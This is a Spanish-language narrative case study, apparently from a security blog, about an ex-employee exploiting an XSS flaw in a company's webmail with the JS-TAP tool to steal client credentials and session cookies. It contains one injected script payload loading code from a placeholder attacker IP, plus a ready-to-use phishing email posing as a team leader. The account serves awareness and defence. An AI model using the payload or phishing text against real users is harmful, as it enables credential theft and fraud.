En una próspera ciudad costera, rodeada por el mar y montañas, se encontraba una empresa de compraventa de productos comestibles muy respetada, conocida por su enfoque innovador y atención al detalle. Para dar soporte a sus servicios, la empresa tenía desplegado un servidor de correo electrónico, utilizado para intercambiar mensajes, compartir datos confidenciales y coordinar proyectos con los clientes.
Una mañana, un cliente de la empresa recibió un correo aparentemente inofensivo de un remitente conocido. Dentro del mensaje había un enlace que prometía llevar a un sitio web con información interesante. Sin saberlo, al hacer clic en el enlace, el cliente activó un pequeño fragmento de código JavaScript oculto en el correo. Este código era el inicio de un ataque de Cross Site Scripting (XSS), una vulnerabilidad que permitía a un atacante inyectar scripts maliciosos en las páginas web visitadas por otros usuarios.
El ataque aprovechaba una vulnerabilidad XSS pública, cuyo CVE es CVE-2020-8512. Esta vulnerabilidad permite que los scripts maliciosos se ejecuten directamente en los navegadores de los usuarios afectados cuando abren los correos infectados. En este caso, cada vez que alguien interactuaba con estos mensajes, el script malicioso se activaba, capturando información confidencial, como credenciales de inicio de sesión y correos electrónicos, enviándola al atacante sin dejar rastro visible.
La trampa del ciberdelincuente había sido planificada de manera sigilosa. El atacante sabía que al haber detectado una vulnerabilidad de alta criticidad podía aprovecharla con el objetivo de robar los datos de los clientes. De esta manera, decidió revisar diversas herramientas que le pudieran permitir efectuar el ataque que él esperaba y encontró la herramienta JS-TAP.
El atacante sabía que era necesario realizar un plan de ataque para tratar de aumentar la probabilidad de éxito. Por ello, el usuario malicioso preparó el siguiente plan distribuido por fases:
Fase 1: Plan del Ataque
El plan de ataque que se llevó a cabo había sido el siguiente:
- Cliente Recibe el Correo Phishing
- Inicio: El atacante envía un correo electrónico malicioso haciéndose pasar por el jefe de la empresa.
- Contenido del Correo: Un enlace que promete el portal web para cambiar la contraseña.
- Cliente Hace Clic en el Enlace
- Acción: El cliente hace clic en el enlace.
- Resultado: Se ejecuta un script JavaScript malicioso.
- Inyección del Script Malicioso
- Script Ejecutado: El código JavaScript, utilizando la herramienta JS-TAP y telemlib.js, se inyecta en el navegador del cliente.
- Funcionalidad del Script:
- Captura credenciales de inicio de sesión.
- Registra todas las acciones del usuario.
- Envía la información al servidor del atacante.
- Intercepción y Robo de Información
- Credenciales Robadas: El cliente inicia sesión y sus credenciales se capturan.
- Navegación Seguida: Toda la navegación posterior se registra.
- Envío al Atacante: La información robada se envía al servidor del atacante.
- Propagación del Ataque
- Clientes: Los correos maliciosos se propagan a múltiples clientes.
- Ejecución del Script: Cada vez que otro cliente hace clic en el enlace, el proceso se repite.
- Consecuencias del Ataque
- Riesgos de seguridad: Usuarios legítimos experimentan riesgos de seguridad y reciben correos de restablecimiento de contraseña.
- Erosión de la Confianza: la confianza en la seguridad del servidor de correo se deteriora.
- Impacto en la Empresa: La comunicación interna y la confianza de los clientes se ven afectadas.
Fase 2: Visualización del plan de ataque
Fase 3: Descripción del Flujo
- El atacante envía un correo electrónico de phishing a un cliente.
- El cliente recibe y hace clic en el enlace del correo, activando el script malicioso.
- El script malicioso, utilizando JS-TAP, captura las credenciales de inicio de sesión y registra la navegación del usuario.
- La información robada se envía al servidor del atacante.
- El ataque se propaga a otros clientes, repitiendo el proceso.
- Los usuarios experimentan problemas de acceso y la confianza en el servidor de correo se deteriora.
- La comunicación interna y la confianza de los clientes en la empresa se ven afectadas.
Fase 4: Payload utilizado en el ataque
Para llevar a cabo el ataque, el atacante escribió el siguiente payload:
“><script src="https://Dirección_IP_Atacante:8444/lib/telemlib.js“.
Dicho payload sería inyectado en el parámetro vulnerable del correo electrónico.
Fase 5: Envío del enlace malicioso a través de distintos canales de comunicación
El inicio del ataque se llevaba a cabo mediante un correo electrónico como el siguiente, aprovechando que en muchas ocasiones, los usuarios de la empresa no eran usuarios expertos de Internet:
Estimado cliente,
Como sabrá, durante los últimos meses se han producido numerosos ataques a grandes compañías. Para ayudarnos a garantizar la seguridad de su información, le recomendamos que acceda a este enlace y modifique la contraseña lo antes posible, utilizando para ello una contraseña segura.
Muchas gracias.
Reciba un cordial saludo.
Jefe de equipo
El propósito del atacante era enviar la información confidencial de los usuarios a un servidor remoto controlado por el atacante o Command and Control (C&C).
El análisis forense posterior indicó que el atacante había sido un empleado de esa empresa, que aparentemente estaba descontento por las condiciones de su trabajo, y que aprovechó sus últimos días para obtener información personal de los clientes y potenciales víctimas, con el objetivo de enviarles un phishing al correo electrónico personal para el robo de información financiera, datos personales, credenciales, etc.
Con esa información, y tras dejar la empresa, configuró la herramienta JS-TAP en su equipo personal y llevó a cabo el ataque según lo planeado.
Como parte esencial del ataque, inyectó código JavaScript en la URI “webmail?color=”, por lo que la configuración utilizada por el ciberdelincuente en el fichero telemlib.js había sido la siguiente:
De esta manera, cuando los usuarios afectados accedían al enlace, se encontraban con el portal de acceso esperado, sin despertar sospechas sobre su autenticidad:
A continuación, los usuarios escribían las credenciales de acceso y la aplicación maliciosa los redireccionaba al webmail legítimo sin despertar sospechas:
Mientras la víctima del ataque permanecía con la pestaña abierta, el atacante lo capturaba todo, ya que el C&C recibía todas las interacciones que se realizaban con la pestaña infectada del navegador debido a que la deficiente configuración del servidor web no limitaba el alcance del ataque..
De este modo, al no disponer del atributo HTTPOnly y las cabeceras de seguridad X-Frame-Options y Content-Security-Policy, el atacante obtenía la cookie de sesión y recogía la información que se hallaba en el webmail vulnerable, incluyendo el sistema operativo utilizado, la dirección IP y la versión del navegador.
Durante semanas, el atacante siguió operando sin detección ni intervención, hasta que finalmente hubo consecuencias económicas. A pesar de que el atacante fue finalmente descubierto, el fallo de seguridad tuvo un impacto significativo sobre la empresa y sus clientes, afectando de manera muy importante a la reputación de la empresa.
Speak Your Mind